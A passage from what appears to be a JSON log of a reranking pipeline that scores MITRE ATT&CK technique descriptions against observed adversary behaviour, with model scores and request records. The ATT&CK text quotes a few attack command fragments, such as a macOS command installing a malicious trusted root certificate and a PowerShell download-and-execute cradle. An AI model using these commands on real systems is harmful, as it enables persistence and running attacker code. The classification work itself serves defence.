by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications. Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.\nTactics: defense impairment\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1001.001", + "text": "ATT&CK technique: T1001.001 Junk Data\nDescription: Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1590.001", + "text": "ATT&CK technique: T1590.001 Domain Properties\nDescription: Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: WHOIS). Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases, Search Open Websites/Domains, or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1102.003", + "text": "ATT&CK technique: T1102.003 One-Way Communication\nDescription: Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1090", + "text": "ATT&CK technique: T1090 Proxy\nDescription: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1132.002", + "text": "ATT&CK technique: T1132.002 Non-Standard Encoding\nDescription: Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.007", + "text": "ATT&CK technique: T1584.007 Serverless\nDescription: Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1573.001", + "text": "ATT&CK technique: T1573.001 Symmetric Cryptography\nDescription: Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1649", + "text": "ATT&CK technique: T1649 Steal or Forge Authentication Certificates\nDescription: Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts. Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names. Abusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts. Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates). Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1001.002", + "text": "ATT&CK technique: T1001.002 Steganography\nDescription: Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1040", + "text": "ATT&CK technique: T1040 Network Sniffing\nDescription: Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as Name Resolution Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Stealth activities. Adversaries may likely also utilize network sniffing during Adversary-in-the-Middle (AiTM) to passively gain additional knowledge about the environment. In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. On network devices, adversaries may perform network captures using Network Device CLI commands such as `monitor capture`.\nTactics: credential access, discovery\nPlatforms: IaaS, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1585.002", + "text": "ATT&CK technique: T1585.002 Email Accounts\nDescription: Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to Acquire Infrastructure for follow-on purposes. Adversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains). To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.007", + "text": "ATT&CK technique: T1583.007 Serverless\nDescription: Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.\nTactics: resource development\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1608.003", + "score": 0.99609375, + "rank": 0 + }, + { + "item_id": "T1588.004", + "score": 0.9921875, + "rank": 1 + }, + { + "item_id": "T1587.003", + "score": 0.8984375, + "rank": 2 + }, + { + "item_id": "T1001.003", + "score": 0.77734375, + "rank": 3 + }, + { + "item_id": "T1573", + "score": 0.62109375, + "rank": 4 + }, + { + "item_id": "T1036", + "score": 0.59375, + "rank": 5 + }, + { + "item_id": "T1596.003", + "score": 0.53125, + "rank": 6 + }, + { + "item_id": "T1608", + "score": 0.306640625, + "rank": 7 + }, + { + "item_id": "T1649", + "score": 0.306640625, + "rank": 8 + }, + { + "item_id": "T1573.002", + "score": 0.2333984375, + "rank": 9 + }, + { + "item_id": "T1659", + "score": 0.15625, + "rank": 10 + }, + { + "item_id": "T1588", + "score": 0.140625, + "rank": 11 + }, + { + "item_id": "T1566", + "score": 0.1328125, + "rank": 12 + }, + { + "item_id": "T1102", + "score": 0.1123046875, + "rank": 13 + }, + { + "item_id": "T1553.004", + "score": 0.10693359375, + "rank": 14 + }, + { + "item_id": "T1598.003", + "score": 0.050537109375, + "rank": 15 + }, + { + "item_id": "T1557", + "score": 0.044677734375, + "rank": 16 + }, + { + "item_id": "T1583", + "score": 0.0419921875, + "rank": 17 + }, + { + "item_id": "T1584", + "score": 0.0419921875, + "rank": 18 + }, + { + "item_id": "T1071", + "score": 0.03759765625, + "rank": 19 + }, + { + "item_id": "T1204", + "score": 0.03759765625, + "rank": 20 + }, + { + "item_id": "T1665", + "score": 0.033203125, + "rank": 21 + }, + { + "item_id": "T1090.004", + "score": 0.033203125, + "rank": 22 + }, + { + "item_id": "T1573.001", + "score": 0.033203125, + "rank": 23 + }, + { + "item_id": "T1583.001", + "score": 0.029296875, + "rank": 24 + }, + { + "item_id": "T1102.002", + "score": 0.0274658203125, + "rank": 25 + }, + { + "item_id": "T1027.013", + "score": 0.021728515625, + "rank": 26 + }, + { + "item_id": "T1036.012", + "score": 0.0177001953125, + "rank": 27 + }, + { + "item_id": "T1600", + "score": 0.0177001953125, + "rank": 28 + }, + { + "item_id": "T1027", + "score": 0.0167236328125, + "rank": 29 + }, + { + "item_id": "T1608.005", + "score": 0.0167236328125, + "rank": 30 + }, + { + "item_id": "T1608.004", + "score": 0.0142822265625, + "rank": 31 + }, + { + "item_id": "T1071.001", + "score": 0.0142822265625, + "rank": 32 + }, + { + "item_id": "T1102.003", + "score": 0.0142822265625, + "rank": 33 + }, + { + "item_id": "T1001", + "score": 0.013427734375, + "rank": 34 + }, + { + "item_id": "T1059", + "score": 0.01043701171875, + "rank": 35 + }, + { + "item_id": "T1584.002", + "score": 0.00921630859375, + "rank": 36 + }, + { + "item_id": "T1557.004", + "score": 0.00811767578125, + "rank": 37 + }, + { + "item_id": "T1684.001", + "score": 0.00811767578125, + "rank": 38 + }, + { + "item_id": "T1572", + "score": 0.006744384765625, + "rank": 39 + }, + { + "item_id": "T1567", + "score": 0.005950927734375, + "rank": 40 + }, + { + "item_id": "T1102.001", + "score": 0.005950927734375, + "rank": 41 + }, + { + "item_id": "T1683.001", + "score": 0.005950927734375, + "rank": 42 + }, + { + "item_id": "T1685.003", + "score": 0.004638671875, + "rank": 43 + }, + { + "item_id": "T1190", + "score": 0.004364013671875, + "rank": 44 + }, + { + "item_id": "T1189", + "score": 0.00384521484375, + "rank": 45 + }, + { + "item_id": "T1583.008", + "score": 0.00299072265625, + "rank": 46 + }, + { + "item_id": "T1598.002", + "score": 0.00299072265625, + "rank": 47 + }, + { + "item_id": "T1090", + "score": 0.0026397705078125, + "rank": 48 + }, + { + "item_id": "T1132", + "score": 0.0021820068359375, + "rank": 49 + }, + { + "item_id": "T1056", + "score": 0.00164794921875, + "rank": 50 + }, + { + "item_id": "T1486", + "score": 0.00164794921875, + "rank": 51 + }, + { + "item_id": "T1590.001", + "score": 0.00154876708984375, + "rank": 52 + }, + { + "item_id": "T1683.002", + "score": 0.00136566162109375, + "rank": 53 + }, + { + "item_id": "T1592.001", + "score": 0.00128936767578125, + "rank": 54 + }, + { + "item_id": "T1140", + "score": 0.00124359130859375, + "rank": 55 + }, + { + "item_id": "T1583.007", + "score": 0.0012054443359375, + "rank": 56 + }, + { + "item_id": "T1090.003", + "score": 0.00083160400390625, + "rank": 57 + }, + { + "item_id": "T1218", + "score": 0.0007781982421875, + "rank": 58 + }, + { + "item_id": "T1001.001", + "score": 0.0007781982421875, + "rank": 59 + }, + { + "item_id": "T1571", + "score": 0.000732421875, + "rank": 60 + }, + { + "item_id": "T1056.003", + "score": 0.0006866455078125, + "rank": 61 + }, + { + "item_id": "T1040", + "score": 0.0006256103515625, + "rank": 62 + }, + { + "item_id": "T1593.001", + "score": 0.00058746337890625, + "rank": 63 + }, + { + "item_id": "T1584.007", + "score": 0.00058746337890625, + "rank": 64 + }, + { + "item_id": "T1589", + "score": 0.00057220458984375, + "rank": 65 + }, + { + "item_id": "T1596.002", + "score": 0.000537872314453125, + "rank": 66 + }, + { + "item_id": "T1596.004", + "score": 0.0004730224609375, + "rank": 67 + }, + { + "item_id": "T1480.001", + "score": 0.000431060791015625, + "rank": 68 + }, + { + "item_id": "T1585.002", + "score": 0.000431060791015625, + "rank": 69 + }, + { + "item_id": "T1557.001", + "score": 0.0003566741943359375, + "rank": 70 + }, + { + "item_id": "T1001.002", + "score": 0.0002613067626953125, + "rank": 71 + }, + { + "item_id": "T1132.002", + "score": 0.00016880035400390625, + "rank": 72 + }, + { + "item_id": "T1557.003", + "score": 9.012222290039062e-05, + "rank": 73 + }, + { + "item_id": "T1496.003", + "score": 9.012222290039062e-05, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 27325 + } + }, + "evidence_sha256": "48b35046cddf7ac116d83ff288451f1012eed7e51f31461fd7d0eb3aca84241d" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 804.8, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: Muraena runs server-side and uses a crawler to scan the target site to ensure it can properly rewrite all the traffic needed to not alert the victim" + }, + "items": [ + { + "id": "T1595", + "text": "ATT&CK technique: T1595 Active Scanning\nDescription: Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: During the first stages of the infection it was possible to identify that the attackers carried out a reconnaissance phase through SMB scans on the port 445." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: Figure 8: Multiple possible skimmer domains resolving to the same IP address." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: * Zlib compression to reduce the size of requests and responses (including web injects)" + }, + { + "id": "T1046", + "text": "ATT&CK technique: T1046 Network Service Discovery\nDescription: Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system. Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well. Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.\nTactics: discovery\nPlatforms: Containers, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: • MURKYSHELL: malware capable of scanning ports and network enumerations." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: The attacker serves JavaScript using legitimate-looking domains in an attempt to make the traffic look benign." + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: Recently, the Zscaler ThreatLabZ team came across a scheme to attack WordPress sites where a malicious program gets a list of WordPress sites from a C&C server which then are attacked leveraging the XML-RPC pingback method to fingerprint the existing vulnerabilities on the listed WordPress sites." + }, + { + "id": "T1082", + "text": "ATT&CK technique: T1082 System Information Discovery\nDescription: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: 7.Finally, the threat actor (or the Provider) will review the system details of the infected machine reported by the backdoor, and eventually deploy the final payload." + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: | a=1 | Download web injects |" + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: The attacker serves JavaScript using legitimate-looking domains in an attempt to make the traffic look benign." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: In addition to the contents of the emails and the documentsthat were used for threat attribution, we can also infer from the Command and Control (C&C) infrastructure that the threat actor has specifically chosen a C&C server that blends with the theme." + }, + { + "id": "T1614", + "text": "ATT&CK technique: T1614 System Location Discovery\nDescription: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance. Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.\nTactics: discovery\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: The Default\\_send function is responsible for collecting the URL of the infected page and grabbing all the inputs provided by the victim who is shopping on the compromised website." + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent." + }, + { + "id": "T1027", + "text": 